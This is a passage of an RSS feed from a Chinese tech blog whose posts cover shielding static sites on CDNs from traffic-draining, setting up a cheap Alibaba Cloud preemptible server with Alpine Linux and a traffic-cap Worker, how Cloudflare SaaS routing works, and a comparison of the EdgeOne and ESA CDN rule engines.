&lt;p&gt;是的你的确没有源站静态网站也不计请求数但是如果你任何防护都不配所有人或者说所有IP都可以批量刷取你站的流量一天刷个几TB。几天后&lt;strong&gt;CDN方可能就会给你取消接入了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么我们要解决的问题也就明晰了,其实跟动态网站一样,本质就是: &lt;strong&gt;让网站尽可能服务真实用户&lt;/strong&gt; 。只不过对于动态站,这是为了 &lt;strong&gt;防止源站被打死&lt;/strong&gt; ,而对于静态网站,是为了 &lt;strong&gt;CDN看到大额流量&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;如何做WAF&lt;/h1&gt;
&lt;p&gt;首先如果你使用的CDN是国内节点就直接拦截海外访问&lt;/p&gt;
&lt;p&gt;因为大部分刷子的IP都来自海外大陆IP金贵直接拦截可以很好防止大文件被刷取如图片等。我就是个例子
&lt;img src=&quot;https://blog.acofork.com/_astro/waf-1.B7Z7rMjT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实做好这一步,你已经 &lt;strong&gt;99%&lt;/strong&gt; 不会被刷死了,因为海外刷子本来可以刷 &lt;strong&gt;100~1000KB&lt;/strong&gt;不等的图片,但现在只能刷 &lt;strong&gt;拦截页面&lt;/strong&gt; 了(一般不到 &lt;strong&gt;5KB&lt;/strong&gt; ),而一般拦截页面没有太多信息,甚至有些平台能自定义拦截页面,使其返回空报文(&lt;strong&gt;小于1KB&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假如原本刷子可以拿 &lt;strong&gt;十万个&lt;/strong&gt; IP刷死你而现在刷子需要 &lt;strong&gt;100 * 100000 个&lt;/strong&gt; IP才能刷死了 ,这无疑是个指数级别的增长,并且你还是静态站,刷死你除了让业务停机,你也不会收到任何账单,大部分刷子会放弃刷站&lt;/p&gt;
&lt;p&gt;接下来我们仍然可以配置额外防护,比如 &lt;strong&gt;速率限制&lt;/strong&gt;&lt;strong&gt;全局JS质询&lt;/strong&gt; 等,这些都是针对于真实访客无感的验证&lt;/p&gt;
&lt;p&gt;对于 &lt;strong&gt;速率限制&lt;/strong&gt; 。真实访客不会进你站疯狂按F5短时间刷大量请求&lt;/p&gt;
&lt;p&gt;对于 &lt;strong&gt;JS质询&lt;/strong&gt; 。真实访客是用 &lt;strong&gt;浏览器&lt;/strong&gt; 访问的,而不是 &lt;strong&gt;curl&lt;/strong&gt; &lt;strong&gt;wget&lt;/strong&gt; &lt;strong&gt;okhttp&lt;/strong&gt; &lt;strong&gt;httpx&lt;/strong&gt; 等无JS执行模块的轻 &lt;strong&gt;请求发生器&lt;/strong&gt; 访问的所以建议开启全站JS拦截&lt;/p&gt;
&lt;p&gt;接下来才是重磅的如果你的站被刷特别严重尽管在L7全拦截住了但是流量还是止不住的被刷刷刷那就不要犹豫&lt;strong&gt;关闭CDN的 HTTP 2.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是什么原理我们都知道在HTTP 2.0,引入了 &lt;strong&gt;连接复用&lt;/strong&gt; 也就是在一个TCP连接里面可以发很多HTTP请求这无疑降低了攻击成本&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;经过实测关闭HTTP 2.0后攻击者从1分钟刷50G暴跌到了10分钟刷5G&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;视频: https://www.bilibili.com/video/BV1paryBeEbP/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;总结:如何成为最耐刷的网站?&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;拦截海外&lt;/li&gt;
&lt;li&gt;所有请求JS质询注意不要质询到API&lt;/li&gt;
&lt;li&gt;设置速率限制&lt;/li&gt;
&lt;li&gt;关闭CDN的HTTP 2.0&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;奇技淫巧&lt;/h1&gt;
&lt;h3&gt;ESA禁海外访问&lt;/h3&gt;
&lt;p&gt;针对于ESA免费版用户可能无法设置区域限制
&lt;img src=&quot;https://blog.acofork.com/_astro/waf-3.BGkdcti5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是我们可以 &lt;strong&gt;曲线救国&lt;/strong&gt; 先设置一个规则将所有请求默认拦截再判断是不是大陆IP如果是则跳过这个规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/waf-4.hx-BeEfK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/waf-5.Smz5IuFS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;视频: https://www.bilibili.com/video/BV1fKimBnE3T/&lt;/p&gt;
&lt;h3&gt;EdgeOne Page使用CDN WAF&lt;/h3&gt;
&lt;p&gt;EdgeOne是个奇葩它的CDN和Page的WAF是分开的并且Page的WAF防护非常烂只能 &lt;strong&gt;针对单个IP&lt;/strong&gt; 进行拦截
&lt;img src=&quot;https://blog.acofork.com/_astro/waf-8.CntHvySR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以让CDN回源Page让Page吃上CDN的WAF策略左边为CDN创建域名界面右边悬浮窗为Page界面&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
这样设置后你会在总览看到双倍的流量因为CDN回源Page记一次而Page真正提供源站内容再记一次。可以通过开启缓存来缓解&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/waf-7.DX_DbHCN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>什么4元每月200G的服务器还是阿里的还有联通9929精品回程</title><link>https://blog.acofork.com/posts/aliyun-ecs-4rm/</link><guid isPermaLink="true">https://blog.acofork.com/posts/aliyun-ecs-4rm/</guid><description>通过创建抢占型实例+每月免费CDT 200G流量包你几乎只需要付很少的硬盘费</description><pubDate>Fri, 16 Jan 2026 23:59:40 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
抢占型实例在高峰期可能会进行回收,不要跑生产业务&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
下文都是以 &lt;strong&gt;阿里云国内版&lt;/strong&gt; 演示的,注意在国内版按量付费业务需要账户内可用余额要 &amp;gt;=100 CNY。国际版无限制但是要海外手机号+海外卡有可能还需要KYC&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;下载Alpine镜像&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;由于我们主要的成本在硬盘上面所以呢为了极致压缩空间我们需要一个非常小巧的Linux镜像以便我们可以用1G的 ESSD 云盘来安装。如果你也是极致玩家仅用1G盘装系统那么一定就要用我下面给你的Alpine镜像
如果你财大气粗不在乎或者说想跑一些正常业务想用Debian或Ubuntu那就10G起步也不需要自定义镜像了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Alpine 60M镜像链接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://dl-cdn.alpinelinux.org/alpine/v3.23/releases/x86_64/alpine-virt-3.23.2-x86_64.iso
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;将镜像上传至阿里云OSS&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;由于我们需要自定义镜像但是镜像又必须要通过OSS提供所以我们需要临时性的创建一个OSS Bucket实例来上传我们的ISO镜像。在实例成功创建后我们可以将其删除以避免不必要的扣费&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先,来到 &lt;a href=&quot;https://oss.console.aliyun.com/bucket&quot;&gt;OSS管理控制台&lt;/a&gt; ,创建一个 Bucket&lt;strong&gt;地域一定要选中国香港&lt;/strong&gt; 并且上传ISO最后复制URL备用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-1.BukRs8uK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;导入镜像&lt;/h3&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://ecs.console.aliyun.com/image/region/cn-hongkong&quot;&gt;云服务器管理控制台&lt;/a&gt; ,选择右上角的 导入镜像
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-2.CJWbIgbk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意需要授权ECS访问OSS业务
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-3.DMPxNKbF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后正常填写,&lt;strong&gt;取消勾选“导入后执行检测”&lt;/strong&gt; ,先不要点下一步&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-4.D7hFnk__.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来勾选配置云盘属性,并且将 &lt;strong&gt;云盘容量设置为1GB&lt;/strong&gt; ,确认无误,导入
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-5.Cxu6iMdm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;创建ECS抢占型实例&lt;/h3&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://ecs.console.aliyun.com/server/&quot;&gt;云服务器管理控制台&lt;/a&gt; ,创建 &lt;strong&gt;中国香港&lt;/strong&gt; 实例,注意红框区域要保持一致&lt;/p&gt;
&lt;p&gt;另外,对于 &lt;strong&gt;网络及可用区&lt;/strong&gt; ,香港一共有 &lt;strong&gt;B、C、D&lt;/strong&gt; 三个区D区比B、C区贵不少可以都开开测个速留下最好的
&lt;img src=&quot;https://blog.acofork.com/_astro/ALIECSSNPSHOT.FZLX4fPF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;开通CDT&lt;/h3&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://cdt.console.aliyun.com/overview&quot;&gt;云数据传输&lt;/a&gt; 将升级状态全部变为已升级即可
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-6.B8_B2J3g.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;创建&amp;amp;绑定弹性公网IP并且挂上CDT&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;因为弹性公网IP可以绑定CDT的每月200G免费流量并且在绑定实例后弹性公网IP将不会再扣费。如果后续删机的时候不要忘记释放弹性公网IP否则会一直扣费&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://vpc.console.aliyun.com/eip/cn-hongkong/eips&quot;&gt;专有网络管理控制台&lt;/a&gt; 如图选择,然后购买即可(这里显示的费用是纯持有不绑定的费用,一旦绑定就不计费了)
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-7.BC0G134f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来绑定弹性公网IP因为我绑定过了所以是解绑
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-8.EKBA5fPi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来在这里绑定CDT带宽最高可以拉到 2000Mbps但是不推荐一般300M够用了
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-9.BH_lAhbQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Alpine&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你安装了Alpine默认是需要VNC进入手动配置系统的。如果是公共镜像则已经可以用了但不要忘了保证系统纯净&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://ecs.console.aliyun.com/server/&quot;&gt;云服务器管理控制台&lt;/a&gt; 选择你刚买的ECS接下来点击 &lt;strong&gt;远程连接&lt;/strong&gt; ,展开更多,选择 &lt;strong&gt;通过VNC远程连接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来就是愉快的敲命令环节~ (方括号内为默认值,你可以输入新值回车覆盖也可以直接回车应用默认值)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;启动 Alpine 安装程序&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;localhost:~# setup-alpine
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择键盘布局&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Select keyboard layout: [none] us
Select variant: [us]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置主机名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Enter system hostname (fully qualified form, e.g. &apos;foo.example.org&apos;) [localhost] alpine-vps
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置网卡&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Available interfaces are: eth0 lo
Which one do you want to initialize? [eth0]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置 IP 获取方式&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Ip address for eth0? (or &apos;dhcp&apos;, &apos;none&apos;, &apos;manual&apos;) [dhcp]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;是否进行手动网络配置&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Do you want to do any manual network configuration? [no]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置 root 密码(输入时不会显示)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;New password:
Retype password:
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置时区或者PRC&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which timezone are you in? (&apos;?&apos; for list) [UTC] Asia/Shanghai
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置代理&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;HTTP/FTP proxy URL? [none]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择软件仓库镜像。这个地方建议先输入 &lt;code&gt;s&lt;/code&gt; 列出所有镜像然后上下翻找找到阿里云镜像源然后输入对应镜像源编号否则选错了你后续通过apk安装软件的时候不会免流&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which mirror do you want to use? (or &apos;?&apos; or &apos;done&apos;) [44]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;不创建普通用户&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Setup a user? (enter a username, or &apos;no&apos;) [no] no
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择 SSH 服务&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which SSH server? (&apos;openssh&apos;, &apos;dropbear&apos;, or &apos;none&apos;) [openssh]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;是否允许 root 通过 SSH 登录&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Allow root ssh login? (&apos;?&apos; for help) [prohibit-password] yes
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;没有找到磁盘,是否安装至 vda 云盘,是&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;No disk available, Try boot media /media/vda ? (y/n) [n] y
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择要安装的磁盘&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Which disk(s) would you like to use? (or &apos;?&apos; for help or &apos;none&apos;) [none] vda
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;选择磁盘使用方式&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;How would you like to use it? (&apos;sys&apos;, &apos;data&apos;, &apos;crypt&apos;, &apos;lvm&apos;) [sys]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;确认格式化磁盘&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;WARNING: Erase the above disk(s) and continue? [y/N] y
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;安装系统&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Installing system on /dev/sda:
Installing alpine-base...
Installing busybox...
Installing openssh...
Installing openrc...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;安装完成提示&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Installation is complete. Please reboot.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;重启系统&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;localhost:~# reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;重启后登录&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;alpine-vps login: root
Password:
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置DNSCloudflare &amp;amp; Google DNS&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;alpine-vps:~# setup-dns
DNS Domain name? (e.g. &apos;bar.com&apos;) nameserver
DNS nameserver(s)? [223.5.5.5] 1.1.1.1 8.8.8.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alpine的软件包管理器为 &lt;strong&gt;APK&lt;/strong&gt; ,首先我们先更新软件源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来,安装一些基本的软件包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk add curl unzip jq openssl tar iproute2 bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;设置保活&amp;amp;用量封顶策略&lt;/h3&gt;
&lt;p&gt;虽然我们将弹性公网IP连接了CDT默认流量会从CDT的免费流量份额里面扣&lt;/p&gt;
&lt;p&gt;但是一旦超出上限,那就会扣我们的真金白银了&lt;/p&gt;
&lt;p&gt;所以我们需要一个定时监测的服务发现CDT流量快用完了立即停机&lt;/p&gt;
&lt;p&gt;那么...让我们请出 Cloudflare Worker&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/cf-worker-aliyun-cdt-tracker&quot;}&lt;/p&gt;
&lt;p&gt;在Cloudflare Worker的仪表盘配置五个机密环境变量即可
以下是需要配置的机密环境变量 (Secrets)&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量名&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;示例 / 备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ACCESS_KEY_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;阿里云账号的 AccessKey ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LTAIxxxxxxxxxxxx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ACCESS_KEY_SECRET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;阿里云账号的 AccessKey Secret&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xxxxxxxxxxxxxxxxxxxxxxxx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REGION_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ECS 实例所在的区域 ID。&lt;/td&gt;
&lt;td&gt;cn-hongkong&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ECS_INSTANCE_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;需要控制的 ECS 实例 ID。在控制台获取&lt;/td&gt;
&lt;td&gt;i-xxxxxxxxxxxx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TRAFFIC_THRESHOLD_GB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;流量阈值单位GB超过此值将停止实例&lt;/td&gt;
&lt;td&gt;&lt;code&gt;180&lt;/code&gt; (默认为 180)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;我们需要前往 https://ram.console.aliyun.com/profile/access-keys 创建一个RAM用户你就会得到 &lt;code&gt;ACCESS_KEY_ID&lt;/code&gt;&lt;code&gt;ACCESS_KEY_SECRET&lt;/code&gt; ,并且分配权限:&lt;code&gt;AliyunECSFullAccess&lt;/code&gt; `AliyunCDTFullAccess&lt;/p&gt;
&lt;p&gt;部署成功后Cloudflare Worker将在每分钟检查一次CDT如果超出流量阈值会将指定ID的ECS停止
&lt;img src=&quot;https://blog.acofork.com/_astro/aliyun-ecs-4rm-10.4ruO6Jsm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;计费流程图&lt;/h1&gt;
&lt;p&gt;带宽费(按固定带宽计费收取):根据您指定的带宽峰值和计费时长后付费,与实际使用的流量无关。&lt;/p&gt;
&lt;p&gt;流量费(按使用流量计费收取):根据每小时公网的实际流量计费。&lt;/p&gt;
&lt;p&gt;最终抢占型ECS实例每个小时扣费 &lt;strong&gt;0.005528 元&lt;/strong&gt; 按照一个月31天每月扣费 &lt;strong&gt;4.112832 元&lt;/strong&gt; 而弹性公网IP一经绑定便不再计费CDT每月免费200G海外流量不超出不计费OSS免费存储5G传入流量不计费我们也没有传出流量或者保险起见你也可以将其删除&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最终每月成本不到5元&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/4411ab2fe9dfe7df65472e5b426af5671.oX7IWN0u.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>你真的玩懂了Cloudflare SaaS吗为什么经由SaaS的流量可以做优选</title><link>https://blog.acofork.com/posts/cf-saas/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-saas/</guid><description>我们都知道可以通过SaaS来做优选但是为什么用SaaS就能做优选呢为什么直接CNAME就不能优选呢这篇文章带你一窥真相</description><pubDate>Fri, 16 Jan 2026 20:16:09 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;Cloudflare SaaS是一个不需要你改变一个域名的NS服务器就可以让其受益于Cloudflare网络&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;首先我们要知道CDN是如何通过不同域名给不同内容的&lt;/p&gt;
&lt;p&gt;我们可以将其抽象为2层规则层和解析层。当我们普通的在Cloudflare添加一条开启了小黄云的解析。Cloudflare会为我们做两件事1是帮我们写一条DNS解析指向Cloudflare2是在Cloudflare创建一条路由规则&lt;/p&gt;
&lt;p&gt;如果说你想要优选实际上你是要手动更改这个DNS解析使其指向一个更快的Cloudflare节点&lt;/p&gt;
&lt;p&gt;但是一旦你将小黄云关闭路由规则也会被删除再访问就会显示DNS直接指向IP&lt;/p&gt;
&lt;p&gt;再但是如果你使用SaaS你就会发现Cloudflare不再帮你做这两件事了这两件事你都可以自己做了&lt;/p&gt;
&lt;p&gt;写一条SaaS规则+你自己写一条CNAME解析到优选节点完全就可以做到优选了&lt;/p&gt;
&lt;p&gt;具体如何创建一个SaaS规则可以前往 &lt;a href=&quot;/posts/cf-fastip/&quot;&gt;Cloudflare 优选&lt;/a&gt; 查看&lt;/p&gt;
&lt;h1&gt;SaaS后就是一家人了&lt;/h1&gt;
&lt;p&gt;如果一个域名已经被SaaS到一个已经在Cloudflare的域名将完整受益所有Cloudflare服务&lt;/p&gt;
&lt;p&gt;如我将 umami.acofork.com SaaS 到 2x.nz ,我就可以在 2x.nz 里为 umami.acofork.com 写规则了
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-saas-1.D1WBx5uc.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-saas-2.Bi6RGY1_.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-saas-3.CuR_HHk0.png&quot; alt=&quot;&quot; /&gt;
Worker中的路由规则也适用
&lt;img src=&quot;https://blog.acofork.com/_astro/cf-saas-4.Jw-0vgWk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>EO VS ESA谁才是国内CDNの王</title><link>https://blog.acofork.com/posts/eovsesa/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eovsesa/</guid><description>EdgeOne和ESA都是非常好的免费国内CDN常规用起来几乎一模一样今天我们就来让他俩一决雌雄</description><pubDate>Fri, 16 Jan 2026 16:53:08 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;首先EdgeOne是来的最早的于25年7月就开始测试了而ESA是10月才开放的。&lt;/p&gt;
&lt;p&gt;虽然EdgeOne在早期需要兑换码换免费套餐而兑换码从早期的发推特然后找官方领码再到Discord群组每天固定时间发码最后到测速分享直接拿兑换码门槛逐渐放低功能逐渐齐全。&lt;/p&gt;
&lt;p&gt;而ESA由于是后来者直接给每个阿里云账户发了一个免费的ESA套餐如果你有多站点接入的需求也可以通过拉人头来得到更多的免费套餐。&lt;/p&gt;
&lt;p&gt;就当前26年1月来说两家的体验大差不差但是EdgeOne和ESA的底层逻辑是有点区别的。&lt;/p&gt;
&lt;h1&gt;底层逻辑对比&lt;/h1&gt;
&lt;p&gt;EdgeOne这个项目特别是Page在24年就已经初具雏形并且能够像那些大厂如Cloudflare PageGithub PageVercel等静态托管平台一样使用了但是当时一是腾讯是悄咪咪上的二是节点实在是太烂了只有海外新加坡节点也不支持国内节点。&lt;/p&gt;
&lt;p&gt;而ESA大概率是从老的DCDN和云函数FC改过来的控制台就已经露出鸡脚了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-1.CdN7VYw5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;规则引擎与WAF&lt;/h1&gt;
&lt;p&gt;ESA的很多东西直接是照抄Cloudflare的比如&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-3.DwGCjSkY.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-2.DGI0a9Nl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;并且还将每条规则嵌套子规则也算一条全部砍了一刀免费套餐仅支持5条规则。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-4.DhLEUDby.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;EdgeOne 的优势&lt;/h2&gt;
&lt;p&gt;反观EdgeOne它没有照抄Cloudflare而是自己写了一套规则引擎所有类型的规则都在一处地方配置并且可以互相联动。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-5.BduE46Vn.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-6.DcgIiedC.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;甚至你还可以对不合法请求在L7给空。不推荐规则引擎的假拦截也算正常请求
&lt;img src=&quot;https://blog.acofork.com/_astro/1f63e461bfa538605c7734042edd68f6.Cw97cduq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-7.hVWcE4QO.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-8.BCwahwj3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;优先级陷阱&lt;/h3&gt;
&lt;p&gt;并且要注意一点虽然你可以在规则引擎里伪装一个WAF拦截但是在EdgeOne中流量会先经由规则引擎再经过WAF也就是如果你在WAF写了个非CN拦截然后在规则引擎里写个非CN给空海外IP访问只能看到空响应看不到拦截页面流量也照记难绷&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-9.Bd2nzSp7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;ESA 的策略&lt;/h2&gt;
&lt;p&gt;而ESA这边WAF的优先级始终是最高的流量会先被WAF网关审查通过后才应用规则但是免费套餐不支持在WAF中设置地域级别的拦截难绷&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eovsesa-10.CPZVIktS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;曲线救国方案&lt;/h3&gt;
&lt;p&gt;但是有个曲线救国的方案,就是先写个规则将流量全拦截,然后再写个白名单规则,将可信流量绕过该规则。&lt;/p&gt;
